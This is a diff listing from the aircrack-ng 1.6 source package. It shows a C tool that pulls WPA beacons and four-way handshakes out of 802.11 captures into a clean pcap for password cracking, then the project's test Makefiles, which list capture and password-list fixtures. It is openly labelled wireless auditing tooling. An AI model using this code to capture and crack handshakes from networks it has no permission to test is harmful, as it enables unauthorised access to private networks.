+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <err.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/support/common.h"
+
+struct packet
+{
+	struct timespec p_ts;
+	unsigned char p_data[2048];
+	int p_len;
+};
+
+struct client
+{
+	unsigned char c_mac[6];
+	int c_wpa;
+	int c_wpa_got;
+	struct packet c_handshake[4];
+	struct client * c_next;
+};
+
+static struct network
+{
+	unsigned char n_bssid[6];
+	unsigned char n_beacon[2048];
+	int n_beaconlen;
+	char n_ssid[256];
+	struct client n_clients;
+	struct client * n_handshake;
+	struct network * n_next;
+} _networks;
+
+static char * _outfilename;
+static int _outfd;
+
+static int open_pcap(const char * fname)
+{
+	REQUIRE(fname != NULL);
+
+	int fd;
+	struct pcap_file_header pfh;
+
+	memset(&pfh, 0, sizeof(pfh));
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = LINKTYPE_IEEE802_11;
+
+	fd = open(fname,
+			  O_WRONLY | O_CREAT | O_TRUNC,
+			  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	if (fd == -1) err(1, "open(%s)", fname);
+
+	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
+
+	return (fd);
+}
+
+static inline void
+write_pcap(int fd, const struct timespec * ts, const void * p, const int len)
+{
+	REQUIRE(p != NULL);
+
+	struct pcap_pkthdr pkh;
+
+	memset(&pkh, 0, sizeof(pkh));
+
+	pkh.caplen = pkh.len = len;
+	pkh.tv_sec = ts->tv_sec;
+	pkh.tv_usec = ts->tv_nsec / 1000UL;
+
+	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
+
+	if (write(fd, p, len) != len) err(1, "write()");
+}
+
+static inline void packet_write_pcap(int fd, const struct packet * p)
+{
+	write_pcap(fd, &p->p_ts, p->p_data, p->p_len);
+}
+
+static void print_network(const struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	printf("Net %.2x:%.2x:%.2x:%.2x:%.2x:%.2x %s\n",
+		   n->n_bssid[0],
+		   n->n_bssid[1],
+		   n->n_bssid[2],
+		   n->n_bssid[3],
+		   n->n_bssid[4],
+		   n->n_bssid[5],
+		   n->n_ssid);
+}
+
+static void save_network(const struct timespec * ts, const struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	int i;
+
+	if (_outfd == 0)
+	{
+		_outfd = open_pcap(_outfilename);
+	}
+	write_pcap(_outfd, ts, n->n_beacon, n->n_beaconlen);
+
+	for (i = 0; i < 4; i++)
+	{
+		struct packet * p = &n->n_handshake->c_handshake[i];
+
+		ALLEGE(p != NULL); //-V547
+
+		if (p->p_len) packet_write_pcap(_outfd, p);
+	}
+}
+
+static void fix_beacon(struct network * n)
+{
+	REQUIRE(n != NULL);
+
+	unsigned char * p;
+	int ssidlen;
+	int origlen;
+
+	/* beacon surgery */
+	p = n->n_beacon + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
+
+	ssidlen = strlen(n->n_ssid);
+	ALLEGE((n->n_beaconlen + ssidlen) <= (int) sizeof(n->n_beacon));
+
+	ALLEGE(*p == IEEE80211_ELEMID_SSID);
+	p++;
+
+	if (*p != 0 && p[1] != 0) return;
+
+	origlen = *p;
+	*p++ = ssidlen;
+
+	ALLEGE(origlen == 0 || p[0] == 0);
+
+	memmove(
+		p + ssidlen, p + origlen, n->n_beaconlen - (p + origlen - n->n_beacon));
+	memcpy(p, n->n_ssid, ssidlen);
+
+	n->n_beaconlen += ssidlen - origlen;
+}
+
+static void check_network(struct timespec * ts, int * dlt, struct network * n)
+{
+	UNUSED_PARAM(dlt);
+	REQUIRE(n != NULL);
+
+	if (!n->n_beaconlen || !n->n_handshake || !n->n_ssid[0]) return;
+
+	fix_beacon(n);
+
+	print_network(n);
+
+	save_network(ts, n);
+}
+
+static inline struct network * find_net(const unsigned char * b)
+{
+	REQUIRE(b != NULL);
+
+	struct network * n = _networks.n_next;
+
+	while (n)
+	{
+		if (memcmp(b, n->n_bssid, sizeof(n->n_bssid)) == 0) return (n);
+
+		n = n->n_next;
+	}
+
+	return (NULL);
+}
+
+static inline struct network * net_add(const unsigned char * bssid)
+{
+	REQUIRE(bssid != NULL);
+
+	struct network * n = malloc(sizeof(*n));
+
+	if (!n) err(1, "malloc()");
+
+	memset(n, 0, sizeof(*n));
+
+	memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
+
+	n->n_next = _networks.n_next;
+	_networks.n_next = n;
+
+	return (n);
+}
+
+static inline struct network * find_add_net(const unsigned char * bssid)
+{
+	struct network * n;
+
+	n = find_net(bssid);
+	if (n) return (n);
+
+	return (net_add(bssid));
+}
+
+static inline struct client * find_client(const struct network * n,
+										  const unsigned char * mac)
+{
+	REQUIRE(n != NULL);
+
+	struct client * c = n->n_clients.c_next;
+
+	while (c)
+	{
+		if (memcmp(c->c_mac, mac, sizeof(c->c_mac)) == 0) return (c);
+
+		c = c->c_next;
+	}
+
+	return (NULL);
+}
+
+static struct client * find_add_client(struct network * n,
+									   const unsigned char * mac)
+{
+	struct client * c;
+
+	c = find_client(n, mac);
+	if (c) return (c);
+
+	c = malloc(sizeof(*c));
+	if (!c) err(1, "malloc()");
+
+	memset(c, 0, sizeof(*c));
+
+	memcpy(c->c_mac, mac, sizeof(c->c_mac));
+
+	c->c_next = n->n_clients.c_next;
+	n->n_clients.c_next = c;
+
+	return (c);
+}
+
+static int parse_rsn(const unsigned char * p, const int l, const int rsn)
+{
+	REQUIRE(p != NULL);
+
+	int c;
+	const unsigned char * start = p;
+	int psk = 0;
+	int wpa = 0;
+
+	if (l < 2) return (0);
+
+	if (memcmp(p, "\x01\x00", 2) != 0) return (0);
+
+	wpa = 1;
+
+	if (l < 8) return (-1);
+
+	p += 2;
+	p += 4;
+
+	/* cipher */
+	c = le16toh(*((uint16_t *) p));
+
+	p += 2 + 4 * c;
+
+	if (l < ((p - start) + 2)) return (-1);
+
+	/* auth */
+	c = le16toh(*((uint16_t *) p));
+	p += 2;
+
+	if (l < ((p - start) + c * 4)) return (-1);
+
+	while (c--)
+	{
+		if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
+
+		if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
+
+		p += 4;
+	}
+
+	ALLEGE(l >= (p - start));
+
+	if (!psk) wpa = 0;
+
+	return (wpa);
+}
+
+static int parse_elem_vendor(const unsigned char * e, const int l)
+{
+	REQUIRE(e != NULL);
+
+	const struct ieee80211_ie_wpa * wpa = (const struct ieee80211_ie_wpa *) e;
+
+	if (l < 5) return (0);
+
+	if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0);
+
+	if (l < 8) return (0);
+
+	if (wpa->wpa_type != WPA_OUI_TYPE) return (0);
+
+	return (parse_rsn((unsigned char *) &wpa->wpa_version, l - 6, 0));
+}
+
+static void process_beacon(struct timespec * ts,
+						   int * dlt,
+						   struct ieee80211_frame * wh,
+						   int totlen)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * p = (unsigned char *) (wh + 1);
+	int bhlen = 8 + 2 + 2;
+	int len = totlen;
+	char ssid[256];
+	int wpa = 0;
+	int rc;
+	int ssids = 0;
+	int hidden = 0;
+	struct network * n;
+
+	totlen -= sizeof(*wh);
+
+	if (totlen < bhlen) goto __bad;
+
+	if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
+
+	p += bhlen;
+	totlen -= bhlen;
+
+	ssid[0] = 0;
+
+	while (totlen > 2)
+	{
+		int id = *p++;
+		int l = *p++;
+
+		totlen -= 2;
+
+		if (totlen < l) goto __bad;
+
+		switch (id)
+		{
+			case IEEE80211_ELEMID_SSID:
+				if (++ssids > 1) break;
+
+				if (l == 0 || p[0] == 0)
+					hidden = 1;
+				else
+				{
+					memcpy(ssid, p, l);
+					ssid[l] = 0;
+				}
+				break;
+
+			case IEEE80211_ELEMID_VENDOR:
+				if ((rc = parse_elem_vendor(&p[-2], l + 2)) == -1) goto __bad;
+
+				if (rc) wpa = 1;
+				break;
+
+			case IEEE80211_ELEMID_RSN:
+				if ((rc = parse_rsn(p, l, 1)) == -1) goto __bad;
+
+				if (rc) wpa = 1;
+				break;
+		}
+
+		p += l;
+		totlen -= l;
+	}
+
+	if (!wpa) return;
+
+	n = find_add_net(wh->i_addr3);
+
+	if (n->n_beaconlen) return;
+
+	n->n_beaconlen = len;
+	ALLEGE(n->n_beaconlen <= (int) sizeof(n->n_beacon));
+	memcpy(n->n_beacon, wh, n->n_beaconlen);
+	strncpy(n->n_ssid, ssid, sizeof(n->n_ssid));
+	(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
+
+	check_network(ts, dlt, n);
+	return;
+__bad:
+	printf("bad beacon\n");
+}
+
+static void packet_copy(struct packet * p,
+						struct timespec * ts,
+						const void * d,
+						const int len)
+{
+	REQUIRE(p != NULL);
+	REQUIRE(len <= (int) sizeof(p->p_data));
+
+	if (ts)
+	{
+		p->p_ts.tv_sec = ts->tv_sec;
+		p->p_ts.tv_nsec = ts->tv_nsec;
+	}
+	p->p_len = len;
+	memcpy(p->p_data, d, len);
+}
+
+static void process_eapol(struct timespec * ts,
+						  int * dlt,
+						  struct network * n,
+						  struct client * c,
+						  const unsigned char * p,
+						  const int len,
+						  struct ieee80211_frame * wh,
+						  const int totlen)
+{
+	UNUSED_PARAM(dlt);
+
+	int num, i;
+
+	num = eapol_handshake_step(p, len);
+	if (num == 0) return;
+
+	REQUIRE(c != NULL);
+
+	/* reset... should use time, too.  XXX conservative - check retry */
+	if (c->c_wpa == 0 || num <= c->c_wpa)
+	{
+		for (i = 0; i < 4; i++) c->c_handshake[i].p_len = 0;
+
+		c->c_wpa_got = 0;
+	}
+
+	c->c_wpa = num;
+
+	switch (num)
+	{
+		case 1:
+			c->c_wpa_got |= 1;
+			break;
+
+		case 2:
+			c->c_wpa_got |= 2;
+			c->c_wpa_got |= 4;
+			break;
+
+		case 3:
+			REQUIRE(p != NULL);
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 1;
+
+			c->c_wpa_got |= 4;
+			break;
+
+		case 4:
+			REQUIRE(p != NULL);
+			if (memcmp(&p[17], ZERO, 32) != 0) c->c_wpa_got |= 2;
+
+			c->c_wpa_got |= 4;
+			break;
+
+		default:
+			abort();
+	}
+
+	packet_copy(&c->c_handshake[num - 1], ts, wh, totlen);
+
+	if (c->c_wpa_got == 7)
+	{
+		REQUIRE(n != NULL);
+
+		n->n_handshake = c;
+	}
+}
+
+static void process_data(struct timespec * ts,
+						 int * dlt,
+						 struct ieee80211_frame * wh,
+						 int len)
+{
+	REQUIRE(wh != NULL);
+
+	unsigned char * p = (unsigned char *) (wh + 1);
+	struct llc * llc;
+	int wep = wh->i_fc[1] & IEEE80211_FC1_WEP;
+	int eapol = 0;
+	struct client * c;
+	int stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
+	int orig = len;
+	unsigned char *bssid, *clientaddr;
+	struct network * n;
+
+	len -= sizeof(*wh);
+
+	if (stype == IEEE80211_FC0_SUBTYPE_QOS)
+	{
+		p += 2;
+		len -= 2;
+	}
+
+	if (!wep && len >= 8)
+	{
+		llc = (struct llc *) p;
+
+		eapol = memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8) == 0;
+
+		p += 8;
+		len -= 8;
+	}
+
+	if (!eapol) return;
+
+	if (len < 5) return;
+
+	/* type == key */
+	if (p[1] != 0x03) return;
+
+	/* desc == WPA or RSN */
+	if (p[4] != 0xFE && p[4] != 0x02) return;
+
+	bssid = wh->i_addr1;
+	clientaddr = wh->i_addr2;
+
+	if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		bssid = wh->i_addr2;
+		clientaddr = wh->i_addr1;
+	}
+	else if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_TODS))
+		bssid = wh->i_addr3; /* IBSS */
+
+	n = find_add_net(bssid);
+
+	if (n->n_handshake) return;
+
+	c = find_add_client(n, clientaddr);
+
+	process_eapol(ts, dlt, n, c, p, len, wh, orig);
+
+	if (n->n_handshake) check_network(ts, dlt, n);
+}
+
+static void grab_hidden_ssid(struct timespec * ts,
+							 int * dlt,
+							 const unsigned char * bssid,
+							 struct ieee80211_frame * wh,
+							 int len,
+							 const int off)
+{
+	REQUIRE(wh != NULL);
+
+	struct network * n;
+	unsigned char * p = ((unsigned char *) (wh + 1)) + off;
+	int l;
+
+	n = find_net(bssid);
+	if (n && n->n_ssid[0]) return;
+
+	len -= sizeof(*wh) + off + 2;
+
+	if (len < 0) goto __bad;
+
+	if (*p++ != IEEE80211_ELEMID_SSID) goto __bad;
+
+	l = *p++;
+	if (l > len) goto __bad;
+
+	if (l == 0) return;
+
+	if (!n) n = net_add(bssid);
+
+	memcpy(n->n_ssid, p, l);
+	n->n_ssid[l] = 0;
+
+	check_network(ts, dlt, n);
+	return;
+
+__bad:
+	printf("bad grab_hidden_ssid\n");
+	return;
+}
+
+static void
+process_packet(struct timespec * ts, int * dlt, void * packet, const int len)
+{
+	REQUIRE(packet != NULL);
+
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) packet;
+
+	if (len < (int) sizeof(*wh)) return;
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
+	{
+		case IEEE80211_FC0_TYPE_MGT:
+			switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+			{
+				case IEEE80211_FC0_SUBTYPE_BEACON:
+					process_beacon(ts, dlt, wh, len);
+					break;
+
+				case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+					grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 2 + 2);
+					break;
+
+				case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
+					grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 2 + 2 + 6);
+					break;
+
+				case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+					grab_hidden_ssid(ts, dlt, wh->i_addr3, wh, len, 8 + 2 + 2);
+					break;
+			}
+			break;
+
+		case IEEE80211_FC0_TYPE_DATA:
+			process_data(ts, dlt, wh, len);
+			break;
+	}
+}
+
+static void pwn(const char * fname)
+{
+	REQUIRE(fname != NULL);
+
+	struct wif * wi;
+	struct timespec ts;
+	int dlt;
+	char crap[2048];
+	int rc;
+
+	if (strlen(fname) + 7 >= sizeof(crap))
+	{
+		printf("Filename too long, aborting\n");
+		return;
+	}
+
+	memset(crap, 0, sizeof(crap));
+	snprintf(crap, sizeof(crap), "file://%s", fname);
+
+	wi = wi_open(crap);
+	if (!wi)
+	{
+		printf("Bad file - skipping %s\n", fname);
+		return;
+	}
+
+	while ((rc = wi_read(
+				wi, &ts, &dlt, (unsigned char *) crap, sizeof(crap), NULL))
+		   > 0)
+		process_packet(&ts, &dlt, crap, rc);
+
+	wi_close(wi);
+}
+
+static void free_data(void)
+{
+	struct network * nets = _networks.n_next;
+	while (nets)
+	{
+		// Free clients
+		struct client * clients = nets->n_handshake;
+		while (clients)
+		{
+			struct client * client_prev = clients;
+			clients = clients->c_next;
+			free(client_prev);
+		}
+
+		// Free net
+		struct network * net_prev = nets;
+		nets = nets->n_next;
+		free(net_prev);
+	}
+
+	free(_outfilename);
+}
+
+int main(int argc, char * argv[])
+{
+	if (argc < 3)
+	{
+		printf("Usage: %s <out.cap> <in.cap> [in2.cap] [...]\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	_outfilename = strdup(argv[1]);
+	if (_outfilename == NULL)
+	{
+		perror("strdup()");
+		return (EXIT_FAILURE);
+	}
+
+	for (int i = 2; i < argc; i++)
+	{
+		const char * in = argv[i];
+		int prog = (int) (((double) (i - 1)) / ((double) (argc - 2))
+#if defined(__x86_64__) && defined(__CYGWIN__)
+						  * (0.0f + 100));
+#else
+						  * 100.0);
+#endif
+
+		printf("Pwning %s (%d/%d %d%%)\n", in, i - 1, argc - 2, prog);
+		fflush(stdout);
+
+		pwn(in);
+	}
+
+	// Cleanup
+	free_data();
+
+	printf("Done\n");
+	exit(EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/test/MOM1.cap Added

aircrack-ng-1.6.tar.gz/test/Makefile.inc Added

@@ -0,0 +1,215 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+AM_TESTS_ENVIRONMENT = \
+	. $(builddir)/test/test-env.sh; \
+    TEST_SRCDIR="$(abs_srcdir)"; export TEST_SRCDIR; \
+    TEST_BUILDDIR="$(abs_builddir)"; export TEST_BUILDDIR; \
+    CMOCKA_MESSAGE_OUTPUT=TAP; export CMOCKA_MESSAGE_OUTPUT; \
+	if test -d /usr/xpg4/bin; then \
+	  PATH=/usr/xpg4/bin:$$PATH; export PATH; \
+	fi;
+
+TESTS_ENVIRONMENT ?= $(AM_TESTS_ENVIRONMENT)
+
+test_hex_string_to_array_SOURCES = %D%/test-hex_string_to_array.c
+test_hex_string_to_array_LDADD = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS)
+
+check_PROGRAMS += test-hex_string_to_array
+
+TESTS += %D%/test-hex_string_to_array.sh \
+		 %D%/test-aircrack-ng-0001.sh \
+		 %D%/test-aircrack-ng-0002.sh \
+		 %D%/test-aircrack-ng-0003.sh \
+		 %D%/test-aircrack-ng-0004.sh \
+		 %D%/test-aircrack-ng-0005.sh \
+		 %D%/test-aircrack-ng-0006.sh \
+		 %D%/test-aircrack-ng-0007.sh \
+		 %D%/test-aircrack-ng-0008.sh \
+		 %D%/test-aircrack-ng-0009.sh \
+		 %D%/test-aircrack-ng-0010.sh \
+		 %D%/test-aircrack-ng-0011.sh \
+		 %D%/test-aircrack-ng-0012.sh \
+		 %D%/test-aircrack-ng-0013.sh \
+		 %D%/test-aircrack-ng-0014.sh \
+		 %D%/test-aircrack-ng-0015.sh \
+		 %D%/test-aircrack-ng-0016.sh \
+		 %D%/test-aircrack-ng-0017.sh \
+		 %D%/test-aircrack-ng-0018.sh \
+		 %D%/test-aircrack-ng-0019.sh \
+		 %D%/test-aircrack-ng-0021.sh \
+		 %D%/test-airdecap-ng-0001.sh \
+		 %D%/test-airdecap-ng-0002.sh \
+		 %D%/test-airdecap-ng-0003.sh \
+		 %D%/test-airdecap-ng-0004.sh \
+		 %D%/test-airdecap-ng-0005.sh \
+		 %D%/test-airdecap-ng-0006.sh \
+		 %D%/test-wpaclean-0001.sh \
+		 %D%/test-wpaclean-0002.sh \
+		 %D%/test-alltools.sh
+
+if EXPECT
+TESTS += %D%/test-aircrack-ng-0020.sh
+endif
+
+if LINUX
+INTEGRATION_TESTS += %D%/test-aireplay-ng-0001.sh \
+		 %D%/test-aireplay-ng-0002.sh \
+		 %D%/test-aireplay-ng-0003.sh \
+		 %D%/test-aireplay-ng-0004.sh \
+		 %D%/test-aireplay-ng-0005.sh \
+		 %D%/test-aireplay-ng-0006.sh \
+		 %D%/test-aireplay-ng-0007.sh \
+         %D%/test-aireplay-ng-0008.sh \
+		 %D%/test-airbase-ng-0001.sh \
+		 %D%/test-airbase-ng-0002.sh \
+		 %D%/test-airbase-ng-0003.sh \
+		 %D%/test-airodump-ng-0001.sh \
+		 %D%/test-airodump-ng-0002.sh \
+		 %D%/test-airodump-ng-0003.sh \
+		 %D%/test-airodump-ng-0004.sh \
+		 %D%/test-airodump-ng-0005.sh
+endif
+
+if HAVE_SQLITE3
+TESTS += %D%/test-airolib-ng-0001.sh
+endif
+
+EXTRA_DIST += %D%/test-hex_string_to_array.sh \
+			  %D%/test-aircrack-ng-0001.sh \
+			  %D%/test-aircrack-ng-0002.sh \
+			  %D%/test-aircrack-ng-0003.sh \
+			  %D%/test-aircrack-ng-0004.sh \
+			  %D%/test-aircrack-ng-0005.sh \
+			  %D%/test-aircrack-ng-0006.sh \
+			  %D%/test-aircrack-ng-0007.sh \
+			  %D%/test-aircrack-ng-0008.sh \
+			  %D%/test-aircrack-ng-0009.sh \
+			  %D%/test-aircrack-ng-0010.sh \
+			  %D%/test-aircrack-ng-0011.sh \
+			  %D%/test-aircrack-ng-0012.sh \
+			  %D%/test-aircrack-ng-0013.sh \
+			  %D%/test-aircrack-ng-0014.sh \
+			  %D%/test-aircrack-ng-0015.sh \
+			  %D%/test-aircrack-ng-0016.sh \
+			  %D%/test-aircrack-ng-0017.sh \
+			  %D%/test-aircrack-ng-0018.sh \
+			  %D%/test-aircrack-ng-0019.sh \
+			  %D%/test-aircrack-ng-0021.sh \
+			  %D%/test-airdecap-ng-0001.sh \
+			  %D%/test-airdecap-ng-0002.sh \
+			  %D%/test-airdecap-ng-0003.sh \
+			  %D%/test-airdecap-ng-0004.sh \
+			  %D%/test-airdecap-ng-0005.sh \
+			  %D%/test-airdecap-ng-0006.sh \
+			  %D%/test-wpaclean-0001.sh \
+			  %D%/test-wpaclean-0002.sh \
+			  %D%/test-alltools.sh \
+			  %D%/wpaclean_crash.pcap \
+              %D%/int-test-common.sh \
+              %D%/wep.open.system.authentication.cap \
+              %D%/wpa2-psk-linksys.cap \
+              %D%/wpa3-psk.pcap \
+              %D%/test-hex_string_to_array.c \
+              %D%/wpa.cap \
+              %D%/test.ivs \
+              %D%/StayAlfred.hccapx \
+              %D%/test1.pcap \
+              %D%/test-pmkid.pcap \
+              %D%/capture_wds-01.cap \
+              %D%/wpa-psk-linksys.cap \
+              %D%/wpa2.eapol.cap \
+              %D%/wps2.0.pcap \
+              %D%/verify_inject.py \
+              %D%/replay.py \
+              %D%/password.lst \
+              %D%/password-2.lst \
+              %D%/password-3.lst \
+              %D%/n-02.cap \
+	      %D%/zn2i.pcap \
+              %D%/wep.shared.key.authentication.cap \
+              %D%/wep_64_ptw.cap \
+              %D%/pingreply.c \
+              %D%/Chinese-SSID-Name.pcap \
+              %D%/passphrases.db \
+			  %D%/test-airdecap-ng.sh \
+			  %D%/test-airolib-sqlite.sh \
+			  %D%/MOM1.cap \
+			  %D%/pass.txt
+
+if EXPECT
+EXTRA_DIST += %D%/test-aircrack-ng-0020.sh \
+              %D%/wep_64_ptw_01.cap \
+              %D%/wep_64_ptw_02.cap \
+              %D%/wep_64_ptw_03.cap \
+              %D%/wep_64_ptw_04.cap
+endif
+
+if LINUX
+EXTRA_DIST += %D%/test-aireplay-ng-0001.sh \
+			  %D%/test-aireplay-ng-0002.sh \
+			  %D%/test-aireplay-ng-0003.sh \
+			  %D%/test-aireplay-ng-0004.sh \
+			  %D%/test-aireplay-ng-0005.sh \
+			  %D%/test-aireplay-ng-0006.sh \
+			  %D%/test-aireplay-ng-0007.sh \
+              %D%/test-aireplay-ng-0007.sh \
+			  %D%/test-airbase-ng-0001.sh \
+			  %D%/test-airbase-ng-0002.sh \
+			  %D%/test-airbase-ng-0003.sh \
+			  %D%/test-airodump-ng-0001.sh \
+			  %D%/test-airodump-ng-0002.sh \
+			  %D%/test-airodump-ng-0003.sh \
+			  %D%/test-airodump-ng-0004.sh \
+			  %D%/test-airodump-ng-0005.sh
+endif
+
+if HAVE_SQLITE3
+EXTRA_DIST += %D%/test-airolib-ng-0001.sh
+endif
+
+if CMOCKA
+include %D%/unit/Makefile.inc
+endif
+include %D%/cryptounittest/Makefile.inc
+
+
+VALGRIND_SUPPRESSIONS_FILES = $(abs_srcdir)/build/valgrind.supp
+EXTRA_DIST += %D%/../build/valgrind.supp
+@VALGRIND_CHECK_RULES@

aircrack-ng-1.6.tar.gz/test/capture_wds-01.cap Added

aircrack-ng-1.6.tar.gz/test/cryptounittest/Makefile.inc Added

@@ -0,0 +1,110 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SRCS_TEST_EWEP  = %D%/test-encrypt-wep.c
+SRCS_TEST_CPMK  = %D%/test-calc-pmk.c
+SRCS_TEST_CMIC  = %D%/test-calc-mic.c
+SRCS_TEST_CPTK  = %D%/test-calc-ptk.c
+SRCS_TEST_DCMP  = %D%/test-decrypt-ccmp.c
+SRCS_TEST_ECMP  = %D%/test-encrypt-ccmp.c
+
+test_encrypt_wep_SOURCES = $(SRCS_TEST_EWEP)
+test_encrypt_wep_CFLAGS  = $(PTHREAD_CFLAGS) \
+						   $(CRYPTO_CFLAGS)
+test_encrypt_wep_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+						   $(PTHREAD_LIBS) \
+						   $(CRYPTO_LIBS) \
+						   $(ZLIB_LIBS)
+
+test_calc_pmk_SOURCES = $(SRCS_TEST_CPMK)
+test_calc_pmk_CFLAGS  = $(PTHREAD_CFLAGS) \
+						$(CRYPTO_CFLAGS)
+test_calc_pmk_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+						$(LIBAIRCRACK_CE_WPA_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_calc_mic_SOURCES = $(SRCS_TEST_CMIC)
+test_calc_mic_CFLAGS  = $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS)
+test_calc_mic_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_calc_ptk_SOURCES = $(SRCS_TEST_CPTK)
+test_calc_ptk_CFLAGS  = $(PTHREAD_CFLAGS) \
+						$(CRYPTO_CFLAGS)
+test_calc_ptk_LDADD   = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) \
+						$(PTHREAD_LIBS) \
+						$(CRYPTO_LIBS) \
+						$(ZLIB_LIBS)
+
+test_encrypt_ccmp_SOURCES = $(SRCS_TEST_ECMP)
